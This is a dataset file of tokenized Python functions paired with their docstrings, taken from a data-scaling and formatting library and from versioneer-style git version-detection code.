{"signature": "def gettrans(t):", "body": "obj = t<EOL>if isinstance(obj, str):<EOL><INDENT>name = '<STR_LIT>'.format(obj)<EOL>obj = globals()[name]()<EOL><DEDENT>if callable(obj):<EOL><INDENT>obj = obj()<EOL><DEDENT>if isinstance(obj, type):<EOL><INDENT>obj = obj()<EOL><DEDENT>if not isinstance(obj, trans):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>return obj<EOL>", "docstring": "Return a trans object\n\nParameters\n----------\nt : str | callable | type | trans\n    name of transformation function\n\nReturns\n-------\nout : trans", "id": "f10509:m5"}
{"signature": "@staticmethod<EOL><INDENT>def transform(x):<DEDENT>", "body": "return x<EOL>", "docstring": "Transform of x", "id": "f10509:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>def inverse(x):<DEDENT>", "body": "return x<EOL>", "docstring": "Inverse of x", "id": "f10509:c0:m2"}
{"signature": "def breaks(self, limits):", "body": "<EOL>vmin = np.max([self.domain[<NUM_LIT:0>], limits[<NUM_LIT:0>]])<EOL>vmax = np.min([self.domain[<NUM_LIT:1>], limits[<NUM_LIT:1>]])<EOL>breaks = np.asarray(self.breaks_([vmin, vmax]))<EOL>breaks = breaks.compress((breaks >= self.domain[<NUM_LIT:0>]) &<EOL>(breaks <= self.domain[<NUM_LIT:1>]))<EOL>return breaks<EOL>", "docstring": "Calculate breaks in data space and return them\nin transformed space.\n\nExpects limits to be in *transform space*, this\nis the same space as that where the domain is\nspecified.\n\nThis method wraps around :meth:`breaks_` to ensure\nthat the calculated breaks are within the domain\nthe transform. This is helpful in cases where an\naesthetic requests breaks with limits expanded for\nsome padding, yet the expansion goes beyond the\ndomain of the transform. e.g for a probability\ntransform the breaks will be in the domain\n``[0, 1]`` despite any outward limits.\n\nParameters\n----------\nlimits : tuple\n    The scale limits. Size 2.\n\nReturns\n-------\nout : array_like\n    Major breaks", "id": "f10509:c0:m3"}
{"signature": "@staticmethod<EOL><INDENT>def transform(x):<DEDENT>", "body": "try:<EOL><INDENT>x = date2num(x)<EOL><DEDENT>except AttributeError:<EOL><INDENT>x = [pd.Timestamp(item) for item in x]<EOL>x = date2num(x)<EOL><DEDENT>return x<EOL>", "docstring": "Transform from date to a numerical format", "id": "f10509:c7:m0"}
{"signature": "@staticmethod<EOL><INDENT>def inverse(x):<DEDENT>", "body": "return num2date(x)<EOL>", "docstring": "Transform to date from numerical format", "id": "f10509:c7:m1"}
{"signature": "@staticmethod<EOL><INDENT>def transform(x):<DEDENT>", "body": "<EOL>try:<EOL><INDENT>x = np.array([_x.total_seconds()*<NUM_LIT:10>**<NUM_LIT:6> for _x in x])<EOL><DEDENT>except TypeError:<EOL><INDENT>x = x.total_seconds()*<NUM_LIT:10>**<NUM_LIT:6><EOL><DEDENT>return x<EOL>", "docstring": "Transform from Timeddelta to numerical format", "id": "f10509:c8:m0"}
{"signature": "@staticmethod<EOL><INDENT>def inverse(x):<DEDENT>", "body": "try:<EOL><INDENT>x = [datetime.timedelta(microseconds=i) for i in x]<EOL><DEDENT>except TypeError:<EOL><INDENT>x = datetime.timedelta(microseconds=x)<EOL><DEDENT>return x<EOL>", "docstring": "Transform to Timedelta from numerical format", "id": "f10509:c8:m1"}
{"signature": "@staticmethod<EOL><INDENT>def transform(x):<DEDENT>", "body": "<EOL>try:<EOL><INDENT>x = np.array([_x.value for _x in x])<EOL><DEDENT>except TypeError:<EOL><INDENT>x = x.value<EOL><DEDENT>return x<EOL>", "docstring": "Transform from Timeddelta to numerical format", "id": "f10509:c9:m0"}
{"signature": "@staticmethod<EOL><INDENT>def inverse(x):<DEDENT>", "body": "try:<EOL><INDENT>x = [pd.Timedelta(int(i)) for i in x]<EOL><DEDENT>except TypeError:<EOL><INDENT>x = pd.Timedelta(int(x))<EOL><DEDENT>return x<EOL>", "docstring": "Transform to Timedelta from numerical format", "id": "f10509:c9:m1"}
{"signature": "@classmethod<EOL><INDENT>def apply(cls, x, palette, na_value=None, trans=None):<DEDENT>", "body": "if trans is not None:<EOL><INDENT>x = trans.transform(x)<EOL><DEDENT>limits = cls.train(x)<EOL>return cls.map(x, palette, limits, na_value)<EOL>", "docstring": "Scale data continuously\n\nParameters\n----------\nx : array_like\n    Continuous values to scale\npalette : callable ``f(x)``\n    Palette to use\nna_value : object\n    Value to use for missing values.\ntrans : trans\n    How to transform the data before scaling. If\n    ``None``, no transformation is done.\n\nReturns\n-------\nout : array_like\n    Scaled values", "id": "f10510:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def train(cls, new_data, old=None):<DEDENT>", "body": "if not len(new_data):<EOL><INDENT>return old<EOL><DEDENT>if not hasattr(new_data, '<STR_LIT>'):<EOL><INDENT>new_data = np.asarray(new_data)<EOL><DEDENT>if new_data.dtype.kind not in CONTINUOUS_KINDS:<EOL><INDENT>raise TypeError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>if old is not None:<EOL><INDENT>new_data = np.hstack([new_data, old])<EOL><DEDENT>return min_max(new_data, na_rm=True, finite=True)<EOL>", "docstring": "Train a continuous scale\n\nParameters\n----------\nnew_data : array_like\n    New values\nold : array_like\n    Old range. Most likely a tuple of length 2.\n\nReturns\n-------\nout : tuple\n    Limits(range) of the scale", "id": "f10510:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def map(cls, x, palette, limits, na_value=None, oob=censor):<DEDENT>", "body": "x = oob(rescale(x, _from=limits))<EOL>pal = palette(x)<EOL>try:<EOL><INDENT>pal[pd.isnull(x)] = na_value<EOL><DEDENT>except TypeError:<EOL><INDENT>pal = [v if not pd.isnull(v) else na_value for v in pal]<EOL><DEDENT>return pal<EOL>", "docstring": "Map values to a continuous palette\n\nParameters\n----------\nx : array_like\n    Continuous values to scale\npalette : callable ``f(x)``\n    palette to use\nna_value : object\n    Value to use for missing values.\noob : callable ``f(x)``\n    Function to deal with values that are\n    beyond the limits\n\nReturns\n-------\nout : array_like\n    Values mapped onto a palette", "id": "f10510:c0:m2"}
{"signature": "@classmethod<EOL><INDENT>def apply(cls, x, palette, na_value=None):<DEDENT>", "body": "limits = cls.train(x)<EOL>return cls.map(x, palette, limits, na_value)<EOL>", "docstring": "Scale data discretely\n\nParameters\n----------\nx : array_like\n    Discrete values to scale\npalette : callable ``f(x)``\n    Palette to use\nna_value : object\n    Value to use for missing values.\n\nReturns\n-------\nout : array_like\n    Scaled values", "id": "f10510:c1:m0"}
{"signature": "@classmethod<EOL><INDENT>def train(cls, new_data, old=None, drop=False, na_rm=False):<DEDENT>", "body": "if not len(new_data):<EOL><INDENT>return old<EOL><DEDENT>if old is None:<EOL><INDENT>old = []<EOL><DEDENT>nan_bool_idx = pd.isnull(new_data)<EOL>has_na = np.any(nan_bool_idx)<EOL>if not hasattr(new_data, '<STR_LIT>'):<EOL><INDENT>new_data = np.asarray(new_data)<EOL><DEDENT>new_data = new_data[~nan_bool_idx]<EOL>if new_data.dtype.kind not in DISCRETE_KINDS:<EOL><INDENT>raise TypeError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>if pdtypes.is_categorical_dtype(new_data):<EOL><INDENT>try:<EOL><INDENT>new = list(new_data.cat.categories)  <EOL><DEDENT>except AttributeError:<EOL><INDENT>new = list(new_data.categories)      <EOL><DEDENT>if drop:<EOL><INDENT>present = set(new_data.drop_duplicates())<EOL>new = [i for i in new if i in present]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>new = np.unique(new_data)<EOL>new.sort()<EOL><DEDENT>except TypeError:<EOL><INDENT>new = list(set(new_data))<EOL>new = multitype_sort(new)<EOL><DEDENT><DEDENT>if has_na and not na_rm:<EOL><INDENT>new = np.hstack([new, np.nan])<EOL><DEDENT>old_set = set(old)<EOL>return list(old) + [i for i in new if (i not in old_set)]<EOL>", "docstring": "Train a continuous scale\n\nParameters\n----------\nnew_data : array_like\n    New values\nold : array_like\n    Old range. List of values known to the scale.\ndrop : bool\n    Whether to drop(not include) unused categories\nna_rm : bool\n    If ``True``, remove missing values. Missing values\n    are either ``NaN`` or ``None``.\n\nReturns\n-------\nout : list\n    Values covered by the scale", "id": "f10510:c1:m1"}
{"signature": "@classmethod<EOL><INDENT>def map(cls, x, palette, limits, na_value=None):<DEDENT>", "body": "n = len(limits)<EOL>pal = palette(n)[match(x, limits)]<EOL>try:<EOL><INDENT>pal[pd.isnull(x)] = na_value<EOL><DEDENT>except TypeError:<EOL><INDENT>pal = [v if not pd.isnull(v) else na_value for v in pal]<EOL><DEDENT>return pal<EOL>", "docstring": "Map values to a discrete palette\n\nParameters\n----------\npalette : callable ``f(x)``\n    palette to use\nx : array_like\n    Continuous values to scale\nna_value : object\n    Value to use for missing values.\n\nReturns\n-------\nout : array_like\n    Values mapped onto a palette", "id": "f10510:c1:m2"}
{"signature": "def get_keywords():", "body": "<EOL>git_refnames = \"<STR_LIT>\"<EOL>git_full = \"<STR_LIT>\"<EOL>git_date = \"<STR_LIT>\"<EOL>keywords = {\"<STR_LIT>\": git_refnames, \"<STR_LIT>\": git_full, \"<STR_LIT:date>\": git_date}<EOL>return keywords<EOL>", "docstring": "Get the keywords needed to look up the version information.", "id": "f10511:m0"}
{"signature": "def get_config():", "body": "<EOL>cfg = VersioneerConfig()<EOL>cfg.VCS = \"<STR_LIT>\"<EOL>cfg.style = \"<STR_LIT>\"<EOL>cfg.tag_prefix = \"<STR_LIT:v>\"<EOL>cfg.parentdir_prefix = \"<STR_LIT>\"<EOL>cfg.versionfile_source = \"<STR_LIT>\"<EOL>cfg.verbose = False<EOL>return cfg<EOL>", "docstring": "Create, populate and return the VersioneerConfig() object.", "id": "f10511:m1"}
{"signature": "def register_vcs_handler(vcs, method):  ", "body": "def decorate(f):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if vcs not in HANDLERS:<EOL><INDENT>HANDLERS[vcs] = {}<EOL><DEDENT>HANDLERS[vcs][method] = f<EOL>return f<EOL><DEDENT>return decorate<EOL>", "docstring": "Decorator to mark a method as the handler for a particular VCS.", "id": "f10511:m2"}
{"signature": "def run_command(commands, args, cwd=None, verbose=False, hide_stderr=False,<EOL>env=None):", "body": "assert isinstance(commands, list)<EOL>p = None<EOL>for c in commands:<EOL><INDENT>try:<EOL><INDENT>dispcmd = str([c] + args)<EOL>p = subprocess.Popen([c] + args, cwd=cwd, env=env,<EOL>stdout=subprocess.PIPE,<EOL>stderr=(subprocess.PIPE if hide_stderr<EOL>else None))<EOL>break<EOL><DEDENT>except EnvironmentError:<EOL><INDENT>e = sys.exc_info()[<NUM_LIT:1>]<EOL>if e.errno == errno.ENOENT:<EOL><INDENT>continue<EOL><DEDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % dispcmd)<EOL>print(e)<EOL><DEDENT>return None, None<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % (commands,))<EOL><DEDENT>return None, None<EOL><DEDENT>stdout = p.communicate()[<NUM_LIT:0>].strip()<EOL>if sys.version_info[<NUM_LIT:0>] >= <NUM_LIT:3>:<EOL><INDENT>stdout = stdout.decode()<EOL><DEDENT>if p.returncode != <NUM_LIT:0>:<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % dispcmd)<EOL>print(\"<STR_LIT>\" % stdout)<EOL><DEDENT>return None, p.returncode<EOL><DEDENT>return stdout, p.returncode<EOL>", "docstring": "Call the given command(s).", "id": "f10511:m3"}
{"signature": "def versions_from_parentdir(parentdir_prefix, root, verbose):", "body": "rootdirs = []<EOL>for i in range(<NUM_LIT:3>):<EOL><INDENT>dirname = os.path.basename(root)<EOL>if dirname.startswith(parentdir_prefix):<EOL><INDENT>return {\"<STR_LIT:version>\": dirname[len(parentdir_prefix):],<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": False, \"<STR_LIT:error>\": None, \"<STR_LIT:date>\": None}<EOL><DEDENT>else:<EOL><INDENT>rootdirs.append(root)<EOL>root = os.path.dirname(root)  <EOL><DEDENT><DEDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" %<EOL>(str(rootdirs), parentdir_prefix))<EOL><DEDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL>", "docstring": "Try to determine the version from the parent directory name.\n\n    Source tarballs conventionally unpack into a directory that includes both\n    the project name and a version string. We will also support searching up\n    two directory levels for an appropriately named parent directory", "id": "f10511:m4"}
{"signature": "@register_vcs_handler(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>def git_get_keywords(versionfile_abs):", "body": "<EOL>keywords = {}<EOL>try:<EOL><INDENT>f = open(versionfile_abs, \"<STR_LIT:r>\")<EOL>for line in f.readlines():<EOL><INDENT>if line.strip().startswith(\"<STR_LIT>\"):<EOL><INDENT>mo = re.search(r'<STR_LIT>', line)<EOL>if mo:<EOL><INDENT>keywords[\"<STR_LIT>\"] = mo.group(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>if line.strip().startswith(\"<STR_LIT>\"):<EOL><INDENT>mo = re.search(r'<STR_LIT>', line)<EOL>if mo:<EOL><INDENT>keywords[\"<STR_LIT>\"] = mo.group(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>if line.strip().startswith(\"<STR_LIT>\"):<EOL><INDENT>mo = re.search(r'<STR_LIT>', line)<EOL>if mo:<EOL><INDENT>keywords[\"<STR_LIT:date>\"] = mo.group(<NUM_LIT:1>)<EOL><DEDENT><DEDENT><DEDENT>f.close()<EOL><DEDENT>except EnvironmentError:<EOL><INDENT>pass<EOL><DEDENT>return keywords<EOL>", "docstring": "Extract version information from the given file.", "id": "f10511:m5"}
{"signature": "@register_vcs_handler(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>def git_versions_from_keywords(keywords, tag_prefix, verbose):", "body": "if not keywords:<EOL><INDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>date = keywords.get(\"<STR_LIT:date>\")<EOL>if date is not None:<EOL><INDENT>date = date.strip().replace(\"<STR_LIT:U+0020>\", \"<STR_LIT:T>\", <NUM_LIT:1>).replace(\"<STR_LIT:U+0020>\", \"<STR_LIT>\", <NUM_LIT:1>)<EOL><DEDENT>refnames = keywords[\"<STR_LIT>\"].strip()<EOL>if refnames.startswith(\"<STR_LIT>\"):<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>refs = set([r.strip() for r in refnames.strip(\"<STR_LIT>\").split(\"<STR_LIT:U+002C>\")])<EOL>TAG = \"<STR_LIT>\"<EOL>tags = set([r[len(TAG):] for r in refs if r.startswith(TAG)])<EOL>if not tags:<EOL><INDENT>tags = set([r for r in refs if re.search(r'<STR_LIT>', r)])<EOL>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % \"<STR_LIT:U+002C>\".join(refs - tags))<EOL><DEDENT><DEDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % \"<STR_LIT:U+002C>\".join(sorted(tags)))<EOL><DEDENT>for ref in sorted(tags):<EOL><INDENT>if ref.startswith(tag_prefix):<EOL><INDENT>r = ref[len(tag_prefix):]<EOL>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % r)<EOL><DEDENT>return {\"<STR_LIT:version>\": r,<EOL>\"<STR_LIT>\": keywords[\"<STR_LIT>\"].strip(),<EOL>\"<STR_LIT>\": False, \"<STR_LIT:error>\": None,<EOL>\"<STR_LIT:date>\": date}<EOL><DEDENT><DEDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>return {\"<STR_LIT:version>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": keywords[\"<STR_LIT>\"].strip(),<EOL>\"<STR_LIT>\": False, \"<STR_LIT:error>\": \"<STR_LIT>\", \"<STR_LIT:date>\": None}<EOL>", "docstring": "Get version information from git keywords.", "id": "f10511:m6"}
{"signature": "@register_vcs_handler(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>def git_pieces_from_vcs(tag_prefix, root, verbose, run_command=run_command):", "body": "GITS = [\"<STR_LIT>\"]<EOL>if sys.platform == \"<STR_LIT:win32>\":<EOL><INDENT>GITS = [\"<STR_LIT>\", \"<STR_LIT>\"]<EOL><DEDENT>out, rc = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\"], cwd=root,<EOL>hide_stderr=True)<EOL>if rc != <NUM_LIT:0>:<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % root)<EOL><DEDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>describe_out, rc = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\" % tag_prefix],<EOL>cwd=root)<EOL>if describe_out is None:<EOL><INDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>describe_out = describe_out.strip()<EOL>full_out, rc = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\"], cwd=root)<EOL>if full_out is None:<EOL><INDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>full_out = full_out.strip()<EOL>pieces = {}<EOL>pieces[\"<STR_LIT>\"] = full_out<EOL>pieces[\"<STR_LIT>\"] = full_out[:<NUM_LIT:7>]  <EOL>pieces[\"<STR_LIT:error>\"] = None<EOL>git_describe = describe_out<EOL>dirty = git_describe.endswith(\"<STR_LIT>\")<EOL>pieces[\"<STR_LIT>\"] = dirty<EOL>if dirty:<EOL><INDENT>git_describe = git_describe[:git_describe.rindex(\"<STR_LIT>\")]<EOL><DEDENT>if \"<STR_LIT:->\" in git_describe:<EOL><INDENT>mo = re.search(r'<STR_LIT>', git_describe)<EOL>if not mo:<EOL><INDENT>pieces[\"<STR_LIT:error>\"] = (\"<STR_LIT>\"<EOL>% describe_out)<EOL>return pieces<EOL><DEDENT>full_tag = mo.group(<NUM_LIT:1>)<EOL>if not full_tag.startswith(tag_prefix):<EOL><INDENT>if verbose:<EOL><INDENT>fmt = \"<STR_LIT>\"<EOL>print(fmt % (full_tag, tag_prefix))<EOL><DEDENT>pieces[\"<STR_LIT:error>\"] = (\"<STR_LIT>\"<EOL>% (full_tag, tag_prefix))<EOL>return pieces<EOL><DEDENT>pieces[\"<STR_LIT>\"] = full_tag[len(tag_prefix):]<EOL>pieces[\"<STR_LIT>\"] = int(mo.group(<NUM_LIT:2>))<EOL>pieces[\"<STR_LIT>\"] = mo.group(<NUM_LIT:3>)<EOL><DEDENT>else:<EOL><INDENT>pieces[\"<STR_LIT>\"] = None<EOL>count_out, rc = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"],<EOL>cwd=root)<EOL>pieces[\"<STR_LIT>\"] = int(count_out)  <EOL><DEDENT>date = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"],<EOL>cwd=root)[<NUM_LIT:0>].strip()<EOL>pieces[\"<STR_LIT:date>\"] = date.strip().replace(\"<STR_LIT:U+0020>\", \"<STR_LIT:T>\", <NUM_LIT:1>).replace(\"<STR_LIT:U+0020>\", \"<STR_LIT>\", <NUM_LIT:1>)<EOL>return pieces<EOL>", "docstring": "Get version from 'git describe' in the root of the source tree.\n\n    This only gets called if the git-archive 'subst' keywords were *not*\n    expanded, and _version.py hasn't already been rewritten with a short\n    version string, meaning we're inside a checked out source tree.", "id": "f10511:m7"}
{"signature": "def plus_or_dot(pieces):", "body": "if \"<STR_LIT:+>\" in pieces.get(\"<STR_LIT>\", \"<STR_LIT>\"):<EOL><INDENT>return \"<STR_LIT:.>\"<EOL><DEDENT>return \"<STR_LIT:+>\"<EOL>", "docstring": "Return a + if we don't already have one, else return a .", "id": "f10511:m8"}
{"signature": "def render_pep440(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"] or pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += plus_or_dot(pieces)<EOL>rendered += \"<STR_LIT>\" % (pieces[\"<STR_LIT>\"], pieces[\"<STR_LIT>\"])<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>rendered = \"<STR_LIT>\" % (pieces[\"<STR_LIT>\"],<EOL>pieces[\"<STR_LIT>\"])<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT><DEDENT>return rendered<EOL>", "docstring": "Build up version string, with post-release \"local version identifier\".\n\n    Our goal: TAG[+DISTANCE.gHEX[.dirty]] . Note that if you\n    get a tagged build and then dirty it, you'll get TAG+0.gHEX.dirty\n\n    Exceptions:\n    1: no tags. git_describe was just HEX. 0+untagged.DISTANCE.gHEX[.dirty]", "id": "f10511:m9"}
{"signature": "def render_pep440_pre(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>rendered = \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL><DEDENT>return rendered<EOL>", "docstring": "TAG[.post.devDISTANCE] -- No -dirty.\n\n    Exceptions:\n    1: no tags. 0.post.devDISTANCE", "id": "f10511:m10"}
{"signature": "def render_pep440_post(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"] or pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT>rendered += plus_or_dot(pieces)<EOL>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>rendered = \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL><DEDENT>return rendered<EOL>", "docstring": "TAG[.postDISTANCE[.dev0]+gHEX] .\n\n    The \".dev0\" means dirty. Note that .dev0 sorts backwards\n    (a dirty tree will appear \"older\" than the corresponding clean one),\n    but you shouldn't be releasing software with -dirty anyways.\n\n    Exceptions:\n    1: no tags. 0.postDISTANCE[.dev0]", "id": "f10511:m11"}
{"signature": "def render_pep440_old(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"] or pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>rendered = \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT><DEDENT>return rendered<EOL>", "docstring": "TAG[.postDISTANCE[.dev0]] .\n\n    The \".dev0\" means dirty.\n\n    Eexceptions:\n    1: no tags. 0.postDISTANCE[.dev0]", "id": "f10511:m12"}
{"signature": "def render_git_describe(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\" % (pieces[\"<STR_LIT>\"], pieces[\"<STR_LIT>\"])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL><DEDENT>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT>return rendered<EOL>", "docstring": "TAG[-DISTANCE-gHEX][-dirty].\n\n    Like 'git describe --tags --dirty --always'.\n\n    Exceptions:\n    1: no tags. HEX[-dirty]  (note: no 'g' prefix)", "id": "f10511:m13"}
{"signature": "def render_git_describe_long(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>rendered += \"<STR_LIT>\" % (pieces[\"<STR_LIT>\"], pieces[\"<STR_LIT>\"])<EOL><DEDENT>else:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL><DEDENT>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT>return rendered<EOL>", "docstring": "TAG-DISTANCE-gHEX[-dirty].\n\n    Like 'git describe --tags --dirty --always -long'.\n    The distance/hash is unconditional.\n\n    Exceptions:\n    1: no tags. HEX[-dirty]  (note: no 'g' prefix)", "id": "f10511:m14"}
{"signature": "def render(pieces, style):", "body": "if pieces[\"<STR_LIT:error>\"]:<EOL><INDENT>return {\"<STR_LIT:version>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": pieces.get(\"<STR_LIT>\"),<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT:error>\": pieces[\"<STR_LIT:error>\"],<EOL>\"<STR_LIT:date>\": None}<EOL><DEDENT>if not style or style == \"<STR_LIT:default>\":<EOL><INDENT>style = \"<STR_LIT>\"  <EOL><DEDENT>if style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_pep440(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_pep440_pre(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_pep440_post(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_pep440_old(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_git_describe(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_git_describe_long(pieces)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % style)<EOL><DEDENT>return {\"<STR_LIT:version>\": rendered, \"<STR_LIT>\": pieces[\"<STR_LIT>\"],<EOL>\"<STR_LIT>\": pieces[\"<STR_LIT>\"], \"<STR_LIT:error>\": None,<EOL>\"<STR_LIT:date>\": pieces.get(\"<STR_LIT:date>\")}<EOL>", "docstring": "Render the given version pieces into the requested style.", "id": "f10511:m15"}
{"signature": "def get_versions():", "body": "<EOL>cfg = get_config()<EOL>verbose = cfg.verbose<EOL>try:<EOL><INDENT>return git_versions_from_keywords(get_keywords(), cfg.tag_prefix,<EOL>verbose)<EOL><DEDENT>except NotThisMethod:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>root = os.path.realpath(__file__)<EOL>for i in cfg.versionfile_source.split('<STR_LIT:/>'):<EOL><INDENT>root = os.path.dirname(root)<EOL><DEDENT><DEDENT>except NameError:<EOL><INDENT>return {\"<STR_LIT:version>\": \"<STR_LIT>\", \"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT:error>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:date>\": None}<EOL><DEDENT>try:<EOL><INDENT>pieces = git_pieces_from_vcs(cfg.tag_prefix, root, verbose)<EOL>return render(pieces, cfg.style)<EOL><DEDENT>except NotThisMethod:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>if cfg.parentdir_prefix:<EOL><INDENT>return versions_from_parentdir(cfg.parentdir_prefix, root, verbose)<EOL><DEDENT><DEDENT>except NotThisMethod:<EOL><INDENT>pass<EOL><DEDENT>return {\"<STR_LIT:version>\": \"<STR_LIT>\", \"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT:error>\": \"<STR_LIT>\", \"<STR_LIT:date>\": None}<EOL>", "docstring": "Get version information or return default if unable to do so.", "id": "f10511:m16"}
{"signature": "def _format(formatter, x):", "body": "<EOL>formatter.create_dummy_axis()<EOL>formatter.set_locs([val for val in x if ~np.isnan(val)])<EOL>try:<EOL><INDENT>oom = int(formatter.orderOfMagnitude)<EOL><DEDENT>except AttributeError:<EOL><INDENT>oom = <NUM_LIT:0><EOL><DEDENT>labels = [formatter(tick) for tick in x]<EOL>pattern = re.compile(r'<STR_LIT>')<EOL>for i, label in enumerate(labels):<EOL><INDENT>match = pattern.search(label)<EOL>if match:<EOL><INDENT>labels[i] = pattern.sub('<STR_LIT>', label)<EOL><DEDENT><DEDENT>if oom:<EOL><INDENT>labels = ['<STR_LIT>'.format(s, oom) if s != '<STR_LIT:0>' else s<EOL>for s in labels]<EOL><DEDENT>return labels<EOL>", "docstring": "Helper to format and tidy up", "id": "f10513:m0"}
{"signature": "def __call__(self, x):", "body": "if self.style == '<STR_LIT>':<EOL><INDENT>return [self.fmt.format(val) for val in x]<EOL><DEDENT>elif self.style == '<STR_LIT>':<EOL><INDENT>return [self.fmt % val for val in x]<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Format a sequence of inputs\n\nParameters\n----------\nx : array\n    Input\n\nReturns\n-------\nout : list\n    List of strings.", "id": "f10513:c0:m1"}
